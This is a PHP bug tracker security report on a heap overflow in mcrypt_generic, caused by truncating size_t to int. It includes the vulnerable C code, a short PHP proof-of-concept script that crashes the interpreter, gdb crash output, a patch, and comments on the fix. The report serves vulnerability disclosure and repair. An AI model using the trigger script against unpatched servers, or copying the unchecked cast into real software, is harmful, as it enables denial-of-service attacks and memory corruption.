php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72551 In correct casting from size_t to int lead to heap overflow in mcrypt_generic
Submitted: 2016-07-06 07:56 UTC Modified: 2016-08-01 02:46 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: mcrypt related
PHP Version: 7.0.8 OS: ALL
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: minhrau dot vc dot 365 at gmail dot com
New email:
PHP Version: OS:

 

 [2016-07-06 07:56 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
There are have heap overflow in PHP_FUNCTION(mcrypt_generic), when this function perform stream cipher:

...
	} else { /* It's not a block algorithm */
		data_size = (int)data_len;                 (1)
		data_str = zend_string_alloc(data_size, 0);
		memset(ZSTR_VAL(data_str), 0, data_size);
		memcpy(ZSTR_VAL(data_str), data, data_len);
	}
...

incorrect casting will truncate data in data_len. The alloc and memcpy below don't check for this length and cause heap overflow.

Test script:
---------------
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0x0101010101);
	$td = mcrypt_module_open('rijndael-256', '', 'cfb', '');
	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mcrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>

Expected result:
----------------
No Crash

Patch:
------------

index 656a77c..ba39f10 100644
--- a/ext/mcrypt/mcrypt.c
+++ b/ext/mcrypt/mcrypt.c
@@ -646,6 +646,10 @@ PHP_FUNCTION(mcrypt_generic)
                memcpy(ZSTR_VAL(data_str), data, data_len);
        } else { /* It's not a block algorithm */
                data_size = (int)data_len;
+               if ((size_t)data_size < data_len){
+                       php_error_docref(NULL TSRMLS_CC, E_WARNING, "Data size has been truncated");
+                       RETURN_FALSE;
+               }
                data_str = zend_string_alloc(data_size, 0);
                memset(ZSTR_VAL(data_str), 0, data_size);


Actual result:
--------------
Starting program: /php-src/sapi/cli/php ~/phptestcase/mcrypt_generic.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 7, zif_mcrypt_generic (execute_data=<optimized out>, return_value=0x7ffff5c141c0) at /php-src/ext/mcrypt/mcrypt.c:649
649	len;
(gdb) p data_size
$38 = 16843009
(gdb) p data_len
$39 = 4311810305
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6206fe3 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff6206fe3 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1  0x00000000005832be in zif_mcrypt_generic (execute_data=<optimized out>, return_value=0x7ffff5c141c0) at /php-src/ext/mcrypt/mcrypt.c:651
#2  0x0000000000734166 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER () at /php-src/Zend/zend_vm_execute.h:678
#3  0x0000000000723b7b in execute_ex (ex=<optimized out>) at /php-src/Zend/zend_vm_execute.h:428
#4  0x000000000077c038 in zend_execute (op_array=op_array@entry=0x7ffff5c7c000, return_value=return_value@entry=0x7ffff5c835a0) at /php-src/Zend/zend_vm_execute.h:473
#5  0x00000000006dcf45 in zend_execute_scripts (type=-171884496, type@entry=8, retval=0x7ffff5c835a0, retval@entry=0x0, file_count=file_count@entry=3) at /php-src/Zend/zend.c:1441
#6  0x000000000067e9f0 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd230) at /php-src/main/main.c:2515
#7  0x000000000077e2da in do_cli (argc=2, argv=0xeefd50) at /php-src/sapi/cli/php_cli.c:993
#8  0x000000000042b816 in main (argc=2, argv=0xeefd50) at /php-src/sapi/cli/php_cli.c:1381

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-13 06:19 UTC] stas@php.net
-PHP Version: 7.1Git-2016-07-06 (Git) +PHP Version: 7.0.8 -Assigned To: +Assigned To: stas
 [2016-07-13 06:19 UTC] stas@php.net
Fix in security repo as 3810e7b362e7bdef00ad33ae683a49aa7ab19e0d and in https://gist.github.com/a3651c52b121b8090c34ebf9fcffd043
 [2016-07-19 08:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-07-19 08:55 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 17:59 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=62da85d35db8c655e757e87828dc4eb708139f73
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-07-20 11:29 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 [2016-08-01 02:46 UTC] minhrau dot vc dot 365 at gmail dot com
Hi,

Can I request CVE for this report?

I tried to reach CVE assign for opensource here http://iwantacve.org, but seem they inactive now.

Thanks.
 [2016-10-17 10:11 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3810e7b362e7bdef00ad33ae683a49aa7ab19e0d
Log: Fix bug #72551 and bug #72552 - check before converting size_t-&gt;int
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC